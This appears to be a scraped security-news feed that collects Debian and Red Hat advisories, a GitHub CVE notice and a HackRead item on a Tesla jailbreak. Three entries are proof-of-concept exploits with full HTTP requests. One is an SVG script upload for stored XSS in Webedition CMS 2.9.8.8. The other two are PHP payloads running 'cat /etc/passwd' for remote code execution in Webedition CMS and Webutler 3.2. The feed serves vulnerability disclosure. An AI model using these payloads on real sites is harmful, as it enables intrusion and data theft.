LinuxASMCallGraph is software for drawing the call graph of the programming code. Linux ASMCallGraph before commit 20dba06bd1a3cf260612d4f21547c25002121cd5 allows attackers to cause a remote code execution on the server side via uploading a crafted ZIP file due to incorrect filtering rules of uploaded file. The problem has been patched in commit 20dba06bd1a3cf260612d4f21547c25002121cd5. There are no known workarounds.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2023-39346: Upload a crafted ZIP File will cause remote code execution  · Issue #8 · bjrjk/LinuxASMCallGraph

Debian Linux Security Advisory 5466-1 - It was discovered that ntpd in ntpsec, a secure, hardened, and improved implementation derived from the original NTP project, could crash if NTS is disabled and an NTS-enabled client request (mode 3) is received.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5466-1                   security@debian.orghttps://www.debian.org/security/                     Salvatore BonaccorsoAugust 04, 2023                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : ntpsecCVE ID         : CVE-2023-4012Debian Bug     : 1038422It was discovered that ntpd in ntpsec, a secure, hardened, and improvedimplementation derived from the original NTP project, could crash if NTSis disabled and an NTS-enabled client request (mode 3) is received.For the stable distribution (bookworm), this problem has been fixed inversion 1.2.2+dfsg1-1+deb12u1.We recommend that you upgrade your ntpsec packages.For the detailed security status of ntpsec please refer to its securitytracker page at:https://security-tracker.debian.org/tracker/ntpsecFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmTMiPdfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xNDz0QCoRAAiCGW5caem2KkAZjuk/GUZ6Gd1/FIiyU5rYJQ403XJs3rfB4plt1FiEjMdNy3TpoUXmngXKhuJTmEEtRvCjkP1mw6CytsWqhPAJSPuHznLYsdbm9wUBA3vVec2efb31KXaye3L764GgardYuKSei2i+FtToejls72qFjAxXSPreYaSbTXHUMpTqI31vMpG8fDhijJP3Ax1JSsGOwHxnudg9/WPGrkVnRlJ0VTWxDJchVGGOvUaXyy13quZYI3YK8cBWQVTu7SSVNiEpZ1LxoBTw84mNoDoVCpoW72oNiZGYoA4Ff45JoSQz0mj73Vqd6j2+E8xZdwri/f483XTd+KVbimomSZZ5ks8eE9+X35LZxA7vfdEuhrD0QhVuDO3z7TTqRMhW5aAWjNs27uH6tynxNvw4ShEi0iegLkZH930Q7dHe6CptJvQcemlzdE0teNRlg7+/W+h64QyY7wrqBou+Hkv+lP+gABUfzjS10YwY5ZrzwBdPTvFS7//esIhIf72Mg1FTNJvC2s6TirOnxu90b6JjabAcObBkXDmL/KlEid7Rl67sTvaLV/V+9c6Jy9NXlvyoXvBJJ7cOTkKYok1LowIwvtzEiwFBiZCeA+B4g8rgePL7ZiPOAzUuq7kwDMj5hU+jYfVs2iAcavWpXBIOgryKibn2wNkQW+NxjSMA4==L3OU-----END PGP SIGNATURE-----

Debian Security Advisory 5466-1

Debian Linux Security Advisory 5464-1 - Multiple security issues have been found in the Mozilla Firefox web browser, which could potentially result in the execution of arbitrary code, bypass of the same-origin policy, spoofing or sandbox bypass.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5464-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffAugust 03, 2023                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : firefox-esrCVE ID         : CVE-2023-4045 CVE-2023-4046 CVE-2023-4047 CVE-2023-4048                  CVE-2023-4049 CVE-2023-4050 CVE-2023-4055 CVE-2023-4056Multiple security issues have been found in the Mozilla Firefox webbrowser, which could potentially result in the execution of arbitrarycode, bypass of the same-origin policy, spoofing or sandbox bypass.For the oldstable distribution (bullseye), these problems have been fixedin version 102.14.0esr-1~deb11u1.For the stable distribution (bookworm), these problems have been fixed inversion 102.14.0esr-1~deb12u1.We recommend that you upgrade your firefox-esr packages.For the detailed security status of firefox-esr please refer toits security tracker page at:https://security-tracker.debian.org/tracker/firefox-esrFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmTL4ygACgkQEMKTtsN8TjZ2nQ//YUyg2nEzvoHNRQHE9ezAxjfXUqkQjS7IEfavk7APQzLq4hvNcnkOab7u6vRimyFObl5o07byVlrDSUUENk7JivvX4HWd7h+CwJAb9Q+XE0qtHMovtbpwlut9nH/C5nUvtVHXok1A33fDvcYTqKX/5fb+v+LkJQudm7k1CIwqJxPyXkgJ8SHFuqBIB2s72mGrKM5Ha+woca17+eI8VhHQwXBgnVQRpxK5AeAUwDchez2Pd9xr6R6RBmziinRfzvo0CPtKp3WqFEDJHUCGx3k/mmlTbN9V4gQM/TZKi2Vr2qM+zvcEvWn684nKEHG6bm+u4EUytxAyFw0FsawsbL3ceJXYwPeddX1C2agW8bkfJgs1Eou33Dl+mu8svG/IrT08C/udNreiWQWIyELZvIZ8RJoKDyqZB6IOtkdDbkH1IzxaciTZRuJGgmj3rGWC02+W2tdoTN1p6GVLF5W0e6GvhYDjB+VVU2MWtqRaaE0l4v8vThHWQmfSHQKwdj8Wil62GumlC1h511SB1p1mQFHtSpBtuHWyZ4Nq3ZACiYfvJlDvq0y1nShE8Ek/CZvyrCm5vMPW1k8UYyNoRyfo239T5/iC9lYF+1A3NqrI3f5se60/lmc5e+TQ/FzG2CAOoVdi8EEdCpNkjyt3jkpZo4942ITTO2GZyzm1E6HQUTBY4do==Co4j-----END PGP SIGNATURE-----

Debian Security Advisory 5464-1

Debian Linux Security Advisory 5465-1 - Seokchan Yoon discovered that missing sanitising in the email and URL validators of Django, a Python web development framework, could result in denial of service.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5465-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffAugust 03, 2023                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : python-djangoCVE ID         : CVE-2023-36053Seokchan Yoon discovered that missing sanitising in the email and URLvalidators of Django, a Python web development framework, could resultin denial of service.For the oldstable distribution (bullseye), this problem has been fixedin version 2:2.2.28-1~deb11u2. This update also addresses CVE-2023-23969,CVE-2023-31047 and CVE-2023-24580.For the stable distribution (bookworm), this problem has been fixed inversion 3:3.2.19-1+deb12u1.We recommend that you upgrade your python-django packages.For the detailed security status of python-django please refer toits security tracker page at:https://security-tracker.debian.org/tracker/python-djangoFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmTMEXoACgkQEMKTtsN8TjYgbA//QyvH70qUWpZtGBT19rQ8JQdcHCdh/FqlsosbYFwKwc+jZNfqyZWr45oMVKQvi8vggxPGXs9LfQb1LhWxsBzhNzCrvN24z7vSqWNensHVBA3NNaGkSDASsIXFZ/LvO0bMjdk0QQ5774CjhoixTBx5SmYy/oapTNeHrZv8geF+E5ga3+r2/lDLNZEfIFFMkfJRhoXuKS/cKKtfDnz37YDr0a8tAXDb/RbGvfu4igjDLWCMnq2aOmx2UaS2euvOlWknhv0r72Skp8ipLx5ykcEJ4WmD3LuNZbXZQNqbsYO9FX2yoXGJqwnuLvTHg/JCnYwrkUEDTcBAY8pbQ/MRM4yIYRxqEnQEyV8HIouajLgFKDtCJCG7Rii/axavcnBiNqgnp8Vg6/F0jKjJOEe4lnVl7xufAQcLTs2aUk9B2WlqKEpAF2xgPc1SdPXetdXy57N2R20Ft3jOS/s2V5YaButrGB0bKa7ktkpSez6Cr9FpNGSSP9G6sjoggRFcDSwHR9FIsX68cHE9DsCVE5J1PLAbJwqQiGl7s1ViDf1Ab4mMmdShPMOWB4mX57wxTcoAdxts6wgjotNwjEwOPEhYOSSAwxjGgeTvs3La4+nrjpFcq7Hg2Ot/FNBq0WsDst/oPfeZ/Lt/teUT36m5crWOovRMAAXKMSpg/KQ8L9b3HDrlwUE==ozYQ-----END PGP SIGNATURE-----

Debian Security Advisory 5465-1

Red Hat Security Advisory 2023-4471-01 - Red Hat OpenShift Serverless Client kn 1.29.1 provides a CLI to interact with Red Hat OpenShift Serverless 1.29.1. The kn CLI is delivered as an RPM package for installation on RHEL platforms, and as binaries for non-Linux platforms. This release includes security and bug fixes, and enhancements.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Moderate: Release of OpenShift Serverless Client kn 1.29.1  
Advisory ID:       RHSA-2023:4471-01  
Product:           Red Hat OpenShift Serverless  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4471  
Issue date:        2023-08-03  
CVE Names:         CVE-2023-3089   
=====================================================================

1. Summary:

Red Hat OpenShift Serverless 1.29.1 is now available.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Openshift Serverless 1 on RHEL 8Base - ppc64le, s390x, x86_64

3. Description:

Red Hat OpenShift Serverless Client kn 1.29.1 provides a CLI to interact  
with Red Hat OpenShift Serverless 1.29.1. The kn CLI is delivered as an RPM  
package for installation on RHEL platforms, and as binaries for non-Linux  
platforms.

This release includes security and bug fixes, and enhancements.

Security Fix(es):

* openshift: OCP & FIPS mode (CVE-2023-3089)

For more information about CVE-2023-3089, see  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-001.

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgements, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For instructions on how to install and use OpenShift Serverless, see  
documentation linked from the References section.

5. Bugs fixed (https://bugzilla.redhat.com/):

2212085 - CVE-2023-3089 openshift: OCP & FIPS mode

6. Package List:

Openshift Serverless 1 on RHEL 8Base:

Source:  
openshift-serverless-clients-1.8.1-6.el8.src.rpm

ppc64le:  
openshift-serverless-clients-1.8.1-6.el8.ppc64le.rpm

s390x:  
openshift-serverless-clients-1.8.1-6.el8.s390x.rpm

x86_64:  
openshift-serverless-clients-1.8.1-6.el8.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-3089  
https://access.redhat.com/security/updates/classification/#moderate  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-001  
https://access.redhat.com/documentation/en-us/openshift_container_platform/4.10/html/serverless/index  
https://access.redhat.com/documentation/en-us/openshift_container_platform/4.11/html/serverless/index  
https://access.redhat.com/documentation/en-us/openshift_container_platform/4.12/html/serverless/index  
https://access.redhat.com/documentation/en-us/openshift_container_platform/4.13/html/serverless/index

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJkzAxKAAoJENzjgjWX9erEO5cQAKhOGMfA3elNcWkiSUkqi95v  
leDH0tONGAVdgZoTnYW1hGXMqoDin1rwijHLVcD5DZt/VNPElvPzmrGmvRajgE7C  
QDZmz6Kg4SPj3mScJPrJogiNMFRnBuqiSPCtzvpKDE9n2gYz88lSOFzxHVEbuP6c  
6TEGzsz8ZDbPkmiSE+T4wpbDszn6gDOpwaJWTlgSqFXV68IoMCD+V9+5Nqg3dNVJ  
1NWf6OrrqFdBw5uIC2l6HSVuEdHVF8Udzq3LuEAOVL+/fAVqlz+X4KFJFLKgqmrB  
3+7r7zi3UJ77qKQBgd6ZMqUlt8bu9Vw3+5987wyjQBxqiHmhmosBw3wK4s/y3kBD  
qO3ShcCo5hYgCiebgfUZvUl2IFr0ZuzXoa0hMfdlmT+FFaNBvgvKA/8F0dLiKEuF  
30pBokKuOvRpYNHHaXnRLIK9NIZcVO5zBpO9rKLeitqZAh//6sVgSoEQnY8znGjq  
lRAdK82C5jXeQb5gHqN6v4+gbWp0C5g5IWQl7P4lzqnq/BmvAxhq/5SHpIfg2+P6  
K/7y+OSA+OGDcAROYK/tthJimXBjF7KAPvGG41F/XmhOMOUH2zXU/w+CBfgPWisz  
sS/UHG0i0lM/YTeS0RoSGa56fVfTzt4snysGYY6UGmjwJzZQR5VOfLLba6a7+nsS  
Y3VYSnzLk2qz++F29YcY  
=ojGB  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4471-01

Webedition CMS version 2.9.8.8 suffers from a persistent cross site scripting vulnerability.

    Exploit Title: Webedition CMS v2.9.8.8 - Stored XSSApplication: Webedition CMSVersion: v2.9.8.8   Bugs:  Stored XssTechnology: PHPVendor URL: https://www.webedition.org/Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1Date of found: 03.08.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps1. Login to account2. Go to New ->  Media -> Image3. Upload malicious svg file svg file content:"""<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.location);   </script></svg>"""Poc request:POST /webEdition/we_cmd.php?we_cmd[0]=save_document&we_cmd[1]=&we_cmd[2]=&we_cmd[3]=&we_cmd[4]=&we_cmd[5]=&we_cmd[6]= HTTP/1.1Host: localhostContent-Length: 761Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: http://localhost/webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=73fee01822cc1e1b9ae2d7974583bb8eAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: treewidth_main=300; WESESSION=e781790f1d79ddaf9e3a0a4eb42e55b04496a569; cookie=yep; treewidth_main=300Connection: closewe_transaction=73fee01822cc1e1b9ae2d7974583bb8e&we_cea6f7e60ce62be78e59f849855d2038_Filename=malas&we_cea6f7e60ce62be78e59f849855d2038_Extension=.svg&wetmp_we_cea6f7e60ce62be78e59f849855d2038_Extension=&we_cea6f7e60ce62be78e59f849855d2038_ParentPath=%2F&we_cea6f7e60ce62be78e59f849855d2038_ParentID=0&yuiAcContentTypeParentPath=&we_cea6f7e60ce62be78e59f849855d2038_IsSearchable=1&check_we_cea6f7e60ce62be78e59f849855d2038_IsSearchable=1&we_cea6f7e60ce62be78e59f849855d2038_IsProtected=0&fold%5B0%5D=0&fold_named%5BPropertyPage_2%5D=0&fold%5B1%5D=0&fold_named%5BPropertyPage_3%5D=0&wetmp_cea6f7e60ce62be78e59f849855d2038_CreatorID=%2Fadmin&we_cea6f7e60ce62be78e59f849855d2038_CreatorID=1&we_cea6f7e60ce62be78e59f849855d2038_RestrictOwners=0&we_complete_request=1

Webedition CMS 2.9.8.8 Cross Site Scripting

Webedition CMS version 2.9.8.8 suffers from a remote code execution vulnerability.

    Exploit Title: Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)Application: webedition CmsVersion: v2.9.8.8   Bugs:  RCETechnology: PHPVendor URL: https://www.webedition.org/Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1Date of found: 03.08.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps1. Login account2. Go to New -> Webedition page -> empty page3. Select php4. Set as "><?php echo system("cat /etc/passwd");?>  Description areaPoc request: POST /webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd HTTP/1.1Host: localhostContent-Length: 1621Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: http://localhost/webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0ddAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: treewidth_main=300; WESESSION=e781790f1d79ddaf9e3a0a4eb42e55b04496a569; cookie=yep; treewidth_main=300Connection: closewe_transaction=4fd880c06df5a590754ce5b8738cd0dd&we_003be033b474a5c25132d388906fb4ae_Filename=poc&we_003be033b474a5c25132d388906fb4ae_Extension=.php&wetmp_we_003be033b474a5c25132d388906fb4ae_Extension=&we_003be033b474a5c25132d388906fb4ae_ParentPath=%2F&we_003be033b474a5c25132d388906fb4ae_ParentID=0&yuiAcContentTypeParentPath=&we_003be033b474a5c25132d388906fb4ae_DocType=&we_003be033b474a5c25132d388906fb4ae_TemplateName=%2F&we_003be033b474a5c25132d388906fb4ae_TemplateID=&yuiAcContentTypeTemplate=&we_003be033b474a5c25132d388906fb4ae_IsDynamic=0&we_003be033b474a5c25132d388906fb4ae_IsSearchable=0&we_003be033b474a5c25132d388906fb4ae_InGlossar=0&we_003be033b474a5c25132d388906fb4ae_txt%5BTitle%5D=asdf&we_003be033b474a5c25132d388906fb4ae_txt%5BDescription%5D=%22%3E%3C%3Fphp+echo+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E&we_003be033b474a5c25132d388906fb4ae_txt%5BKeywords%5D=asdf&fold%5B0%5D=0&fold_named%5BPropertyPage_3%5D=0&we_003be033b474a5c25132d388906fb4ae_Language=en_GB&we_003be033b474a5c25132d388906fb4ae_LanguageDocName%5Bde_DE%5D=&we_003be033b474a5c25132d388906fb4ae_LanguageDocID%5Bde_DE%5D=&yuiAcContentTypeLanguageDocdeDE=&we_003be033b474a5c25132d388906fb4ae_LanguageDocName%5Ben_GB%5D=&we_003be033b474a5c25132d388906fb4ae_LanguageDocID%5Ben_GB%5D=&yuiAcContentTypeLanguageDocenGB=&fold%5B1%5D=0&fold_named%5BPropertyPage_4%5D=0&we_003be033b474a5c25132d388906fb4ae_CopyID=0&fold%5B2%5D=0&fold_named%5BPropertyPage_6%5D=0&wetmp_003be033b474a5c25132d388906fb4ae_CreatorID=%2Fadmin&we_003be033b474a5c25132d388906fb4ae_CreatorID=1&we_003be033b474a5c25132d388906fb4ae_RestrictOwners=0&we_complete_request=1

Webedition CMS 2.9.8.8 Remote Code Execution

Webutler version 3.2 suffers from a remote shell upload vulnerability.

    Exploit Title: Webutler v3.2 - Remote Code Execution (RCE)Application: webutler CmsVersion: v3.2Bugs:  RCETechnology: PHPVendor URL: https://webutler.de/enSoftware Link: http://webutler.de/download/webutler_v3.2.zipDate of found: 03.08.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1. login to account as admin2. go to visit media 3.upload phar file4. upload poc.phar filepoc.phar file contents :<?php echo system("cat /etc/passwd");?>5. Visit to poc.phar filepoc request:POST /webutler_v3.2/admin/browser/index.php?upload=newfile&types=file&actualfolder=%2F&filename=poc.phar&overwrite=true HTTP/1.1Host: localhostContent-Length: 40sec-ch-ua: sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36X_FILENAME: poc.pharsec-ch-ua-platform: ""Accept: */*Origin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/webutler_v3.2/admin/browser/index.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: WEBUTLER=ekgfsfhi3ocqdvv7ukqoropoluConnection: close<?php echo system("cat /etc/passwd");?>

Webutler 3.2 Shell Upload

Red Hat Security Advisory 2023-4461-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 102.14.0 ESR. Issues addressed include buffer overflow and bypass vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2023:4461-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4461  
Issue date:        2023-08-03  
CVE Names:         CVE-2023-4045 CVE-2023-4046 CVE-2023-4047   
                   CVE-2023-4048 CVE-2023-4049 CVE-2023-4050   
                   CVE-2023-4055 CVE-2023-4056 CVE-2023-4057   
=====================================================================

1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - x86_64  
Red Hat Enterprise Linux Client Optional (v. 7) - x86_64  
Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux Server Optional (v. 7) - x86_64  
Red Hat Enterprise Linux Workstation (v. 7) - x86_64  
Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 102.14.0 ESR.

Security Fix(es):

* Mozilla: Offscreen Canvas could have bypassed cross-origin restrictions  
(CVE-2023-4045)

* Mozilla: Incorrect value used during WASM compilation (CVE-2023-4046)

* Mozilla: Potential permissions request bypass via clickjacking  
(CVE-2023-4047)

* Mozilla: Crash in DOMParser due to out-of-memory conditions  
(CVE-2023-4048)

* Mozilla: Fix potential race conditions when releasing platform objects  
(CVE-2023-4049)

* Mozilla: Stack buffer overflow in StorageManager (CVE-2023-4050)

* Mozilla: Memory safety bugs fixed in Firefox 116, Firefox ESR 115.1,  
Firefox ESR 102.14, Thunderbird 115.1, and Thunderbird 102.14  
(CVE-2023-4056)

* Mozilla: Memory safety bugs fixed in Firefox 116, Firefox ESR 115.1, and  
Thunderbird 115.1 (CVE-2023-4057)

* Mozilla: Cookie jar overflow caused unexpected cookie jar state  
(CVE-2023-4055)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2228360 - CVE-2023-4045 Mozilla: Offscreen Canvas could have bypassed cross-origin restrictions  
2228361 - CVE-2023-4046 Mozilla: Incorrect value used during WASM compilation  
2228362 - CVE-2023-4047 Mozilla: Potential permissions request bypass via clickjacking  
2228363 - CVE-2023-4048 Mozilla: Crash in DOMParser due to out-of-memory conditions  
2228364 - CVE-2023-4049 Mozilla: Fix potential race conditions when releasing platform objects  
2228365 - CVE-2023-4050 Mozilla: Stack buffer overflow in StorageManager  
2228367 - CVE-2023-4055 Mozilla: Cookie jar overflow caused unexpected cookie jar state  
2228370 - CVE-2023-4056 Mozilla: Memory safety bugs fixed in Firefox 116, Firefox ESR 115.1, Firefox ESR 102.14, Thunderbird 115.1, and Thunderbird 102.14  
2228371 - CVE-2023-4057 Mozilla: Memory safety bugs fixed in Firefox 116, Firefox ESR 115.1, and Thunderbird 115.1

6. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source:  
firefox-102.14.0-1.el7_9.src.rpm

x86_64:  
firefox-102.14.0-1.el7_9.x86_64.rpm  
firefox-debuginfo-102.14.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Client Optional (v. 7):

x86_64:  
firefox-102.14.0-1.el7_9.i686.rpm  
firefox-debuginfo-102.14.0-1.el7_9.i686.rpm

Red Hat Enterprise Linux Server (v. 7):

Source:  
firefox-102.14.0-1.el7_9.src.rpm

ppc64:  
firefox-102.14.0-1.el7_9.ppc64.rpm  
firefox-debuginfo-102.14.0-1.el7_9.ppc64.rpm

ppc64le:  
firefox-102.14.0-1.el7_9.ppc64le.rpm  
firefox-debuginfo-102.14.0-1.el7_9.ppc64le.rpm

s390x:  
firefox-102.14.0-1.el7_9.s390x.rpm  
firefox-debuginfo-102.14.0-1.el7_9.s390x.rpm

x86_64:  
firefox-102.14.0-1.el7_9.x86_64.rpm  
firefox-debuginfo-102.14.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

x86_64:  
firefox-102.14.0-1.el7_9.i686.rpm  
firefox-debuginfo-102.14.0-1.el7_9.i686.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source:  
firefox-102.14.0-1.el7_9.src.rpm

x86_64:  
firefox-102.14.0-1.el7_9.x86_64.rpm  
firefox-debuginfo-102.14.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Workstation Optional (v. 7):

x86_64:  
firefox-102.14.0-1.el7_9.i686.rpm  
firefox-debuginfo-102.14.0-1.el7_9.i686.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-4045  
https://access.redhat.com/security/cve/CVE-2023-4046  
https://access.redhat.com/security/cve/CVE-2023-4047  
https://access.redhat.com/security/cve/CVE-2023-4048  
https://access.redhat.com/security/cve/CVE-2023-4049  
https://access.redhat.com/security/cve/CVE-2023-4050  
https://access.redhat.com/security/cve/CVE-2023-4055  
https://access.redhat.com/security/cve/CVE-2023-4056  
https://access.redhat.com/security/cve/CVE-2023-4057  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJky7jbAAoJENzjgjWX9erE4zMP/jUlmgl45eVrvZOBC1GXXCpm  
V//5y888EHGgC2CmniNdjmRZIMbHCo5xkvFiKB99spN0SsJMYDpTGhdb55dSKUmd  
QS4NXsWjfwb7VDrj5o7xOxDOY7NKXdq9xuVWBtn3NYr+9RQjUB77TCfvowgxbPNn  
NF4EAZv6gEBRvl2plx2jDdN452MDNDNS5dhl2gcbz/vcMLabIo9ePjDFzH5k9UA5  
7jYKkWiJpcsBQoc3bv3mQUHpskOsgSqCWJVB/MIP4s4UARsn+tVBkRbeUdKmueEY  
0/gI/O698ruhrlsCOZVPXxCIaFliP/PnoYoCwvVKrfDpOHb19uXTgXrp9xHxLmpB  
GVYuOAA+iSlJwBKdV2IzDO85cfB02I0HCtTgUBJTfzvCk+DY0yQ09R5Nu6iPJ+aa  
lKg9AoPHqeydBX8EvN7AdC5BkbuJJcW2PdkUcw7K6q+kDf7cegilHR+uz217Kyq3  
Ew8bfzNe9uxMVBjQ+G2zJUhXBYOzmjiADvhlR6SsWIm0RE54TCbqvMHXVpaEsdPa  
GUyIZYwGn/aZKcLFgpdLGTKHt2AqH8weeyz0UVIhSWYjrFXGyTskrMHNExcqPdjA  
XlKpSoA0FBzChRqU7TzKudwt0R7tWFrS2jNxneuoe0Rp3GZ4EVIcgLxybqgpNgQV  
8H2EBbRX1f3TMSgdrUta  
=JTSB  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4461-01

By Deeba Ahmed
The technical details of these findings will be unveiled at Black Hat USA on Wednesday, August 9, 2023.
This is a post from HackRead.com Read the original post: Researchers Jailbreak Tesla Vehicles, Gain Control Over Paid Features

**IN SUMMARY**

1.  **A basic piece of hardware allows third-party jailbreaking of a Tesla vehicle.**
2.  **The findings came from a security researcher and 3 academic researchers.**
3.  **Tesla’s AMD Secure Processor was bypassed with a voltage-glitching flaw.**
4.  **The findings will be unveiled at Black Hat USA on Wednesday, August 9.**

